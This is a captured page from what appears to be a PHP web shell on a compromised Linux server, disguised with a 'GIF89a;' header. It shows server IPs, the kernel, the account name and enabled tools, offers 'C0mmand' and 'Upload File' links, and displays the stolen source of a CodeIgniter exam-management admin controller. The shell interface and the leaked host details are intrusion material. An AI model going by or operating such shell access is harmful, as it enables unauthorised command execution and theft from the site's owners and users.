GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.148.108.192 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to exams. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Exam extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/ExamManagement'); $this->load->model('admin/CourseManagement'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allExams'] = $this->ExamManagement->getAllExams()->result(); $this->load->view('admin/exams', $viewData); } else { redirect("admin/"); } } public function createExam() { if ($this->sessionvalidator->isLoggedIn()) { $this->load->view('admin/createExam'); } else { redirect("admin/"); } } public function saveNewExam() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('examName', 'Exam Name', 'trim|required', array('required' => 'Exam Name Can Not Be Blank.')); $this->form_validation->set_rules('examTitle', 'Exam Title', 'trim|required', array('required' => 'Exam Title/Abbrevation Can Not Be Blank.')); $this->form_validation->set_rules('examType', 'Exam Type', 'trim|required', array('required' => 'Exam Type Can Not Be Blank.')); $queryByExamName = $this->ExamManagement->getExamInfoByName(trim($this->input->post('examName'))); $examInfoByName = $queryByExamName->result(); $queryByExamTitle = $this->ExamManagement->getExamInfoByName(trim($this->input->post('examTitle'))); $examInfoByTitle = $queryByExamTitle->result(); if ($this->form_validation->run() == FALSE) { $this->createExam(); } else if (sizeof($examInfoByName)) { $this->session->set_flashdata('errorMessage', "An Exam With This Name Already Exits. Please choose A Different Name."); $this->createExam(); } else if (sizeof($examInfoByTitle)) { $this->session->set_flashdata('errorMessage', "An Exam With This Title/Abbrevation Already Exits. Please choose A Different Title/Abbrevation."); $this->createExam(); } else { $newExamInfo = array( 'exam_name' => addslashes(trim($this->input->post('examName'))), 'exam_title' => addslashes(trim($this->input->post('examTitle'))), 'exam_type_flag' => $this->input->post('examType'), 'exam_description' => (trim($this->input->post('examDescription')) == "") ? "NA" : addslashes(trim($this->input->post('examDescription'))), 'exam_added_on' => date("Y-m-d H:i:s"), 'exam_added_by' => $this->session->userdata("adminData")["smember_id"], 'exam_updated_on' => date("Y-m-d H:i:s"), 'exam_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->ExamManagement->createNewExam($newExamInfo)) { $this->session->set_flashdata('successMessage', 'Exam Created Successfully.'); redirect("admin/Exam"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Exam. Try Later.'); redirect("admin/Exam"); } } } else { redirect("admin/"); } } public function editExam($exam_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['examInfo'] = $this->ExamManagement->getExamInfoBy($exam_id)->result()[0]; $this->load->view('admin/editExam', $viewData); } else { redirect("admin/"); } } public function updateExam() { if ($this->sessionvalidator->isLoggedIn()) { $exam_id = $this->input->post('examId'); $this->form_validation->set_rules('examName', 'Exam Name', 'trim|required', array('required' => 'Exam Name Can Not Be Blank.')); $this->form_validation->set_rules('examTitle', 'Exam Title', 'trim|required', array('required' => 'Exam Title/Abbrevation Can Not Be Blank.')); $this->form_validation->set_rules('examType', 'Exam Type', 'trim|required', array('required' => 'Exam Type Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->editExam($exam_id); } else if (!$this->ExamManagement->isExamNameSafeUpdate($exam_id, trim($this->input->post('examName')))) { $this->session->set_flashdata('errorMessage', "An Exam With This Name Already Exits. Please choose A Different Name."); $this->editExam($exam_id); } else if (!$this->ExamManagement->isExamTitleSafeUpdate($exam_id, trim($this->input->post('examTitle')))) { $this->session->set_flashdata('errorMessage', "A Exam With This Title Already Exits. Please choose A Different Title."); $this->editExam($exam_id); } else { $examInfo = array( 'exam_id' => $exam_id, 'exam_name' => addslashes(trim($this->input->post('examName'))), 'exam_title' => addslashes(trim($this->input->post('examTitle'))), 'exam_type_flag' => $this->input->post('examType'), 'exam_description' => (trim($this->input->post('examDescription')) == "") ? "NA" : addslashes(trim($this->input->post('examDescription'))), 'exam_updated_on' => date("Y-m-d H:i:s"), 'exam_updated_by' => $this->session->userdata("adminData")["smember_id"] ); if ($this->ExamManagement->updateExamInfo($examInfo)) { $this->session->set_flashdata('successMessage', 'Exam Updated Successfully.'); redirect("admin/Exam"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Exam. Try Later.'); redirect("admin/Exam"); } } } else { redirect("admin/"); } } public function toggleExamStatus($exam_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $examUpdateData = array( 'exam_id' => $exam_id, 'exam_updated_on' => date("Y-m-d H:i:s"), 'exam_updated_by' => $this->session->userdata("adminData")["smember_id"], 'exam_active_status' => $toUpdateStatus ); if ($this->ExamManagement->updateExamInfo($examUpdateData)) { $this->session->set_flashdata('successMessage', 'Exam Status Updated Successfully.'); redirect("admin/Exam"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Exam Status. Try Later.'); redirect("admin/Exam"); } } else { redirect("admin/"); } } public function deleteExam($exam_id) { if ($this->sessionvalidator->isLoggedIn()) { $examUpdateData = array( 'exam_id' => $exam_id, 'exam_updated_on' => date("Y-m-d H:i:s"), 'exam_updated_by' => $this->session->userdata("adminData")["smember_id"], 'exam_delete_status' => 'T' ); if ($this->ExamManagement->updateExamInfo($examUpdateData)) { $this->session->set_flashdata('successMessage', 'Exam Deleted Successfully.'); redirect("admin/Exam"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Exam. Try Later.'); redirect("admin/Exam"); } } else { redirect("admin/"); } } public function undoDeleteExam($exam_id) { if ($this->sessionvalidator->isLoggedIn()) { $examUpdateData = array( 'exam_id' => $exam_id, 'exam_updated_on' => date("Y-m-d H:i:s"), 'exam_updated_by' => $this->session->userdata("adminData")["smember_id"], 'exam_delete_status' => 'F' ); if ($this->ExamManagement->updateExamInfo($examUpdateData)) { $this->session->set_flashdata('successMessage', 'Exam Recovered Successfully.'); redirect("admin/Exam"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Exam. Try Later.'); redirect("admin/Exam"); } } else { redirect("admin/"); } } public function getAllExamsByCourseCategory() { $course_id = $_POST['course_id']; $courseInfo = $this->CourseManagement->getCoursesBy($course_id)->result()[0]; if ($courseInfo->course_category == "UG") { $query = $this->ExamManagement->getAllExamsUptoCategory("UG"); } else if ($courseInfo->course_category == "PG") { $query = $this->ExamManagement->getAllExamsUptoCategory("PG"); } else { $query = $this->ExamManagement->getAllExamsUptoCategory(); } $examsList = $query->result(); if (sizeof($examsList)) { $exams = array(); for ($i = 0; $i < sizeof($examsList); $i++) { $thisExam = array( 'exam_id' => $examsList[$i]->exam_id, 'exam_name' => ($examsList[$i]->exam_name == "" || $examsList[$i]->exam_name == NULl) ? "" : $examsList[$i]->exam_name, 'exam_title' => ($examsList[$i]->exam_title == "" || $examsList[$i]->exam_title == NULl) ? "" : $examsList[$i]->exam_title, 'exam_description' => ($examsList[$i]->exam_description == "" || $examsList[$i]->exam_description == NULl) ? "" : $examsList[$i]->exam_description, 'exam_type_flag' => $examsList[$i]->exam_type_flag, ); array_push($exams, $thisExam); } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'exams_found' => 1, 'exam_list' => $exams, 'message' => 'Exams Available!' ); } else { $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'exams_found' => 0, 'exam_list' => array(), 'message' => 'Sorry! No Exams Available For This Course Category!' ); } echo json_encode($responseData); } }